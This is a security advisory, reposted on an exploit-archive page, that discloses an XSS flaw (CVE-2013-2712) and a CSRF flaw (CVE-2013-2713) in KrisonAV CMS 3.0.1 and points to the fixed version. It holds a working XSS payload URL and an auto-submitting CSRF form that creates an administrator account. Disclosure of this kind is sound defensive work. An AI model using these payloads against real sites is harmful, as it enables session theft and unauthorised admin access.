Lucene search

K
zdtHigh-Tech Bridge SA1337DAY-ID-20665
HistoryApr 18, 2013 - 12:00 a.m.

KrisonAV CMS 3.0.1 - Multiple Vulnerabilities

2013-04-1800:00:00
High-Tech Bridge SA
0day.today
23

0.01 Low

EPSS

Percentile

81.8%

Exploit for php platform in category web applications

Advisory Details:
 
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to perform cross-site scripting and cross-site request forgery attacks.
 
 
1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712
 
The vulnerability exists due to insufficient filtration of user-supplied data passed to "content" HTTP GET parameter via "/services/get_article.php" script. A remote attacker can trick a logged-in user to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of the vulnerable website.
 
The exploitation example below uses JavaScript "alert()" function to display user's cookies:
 
http://[host]/services/get_article.php?content=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
 
 
2) Сross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CVE-2013-2713
 
The vulnerability exists due to insufficient verification of the HTTP request origin in "/users_maint.html" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a new account with administrative privileges.
 
PoC (Proof-of-Concept) below will create a new account with login "username" and password "password":
 
 
<form action="http://[host]/users_maint.html?itemid=52&maint=1&ccsForm=users" method="post" name="f1">
<input type="hidden" name="disabledCheckBox" value="1">
<input type="hidden" name="username" value="username">
<input type="hidden" name="password" value="password">
<input type="hidden" name="groups_index" value="20">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="Button_Insert" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>
 
 
-----------------------------------------------------------------------------------------------
 
Solution:
 
Upgrade to KrisonAV CMS 3.0.2
 
More Information:
http://www.krisonav.com/articles_show.html?articles_id=release-notes

#  0day.today [2018-04-12]  #

0.01 Low

EPSS

Percentile

81.8%

Related for 1337DAY-ID-20665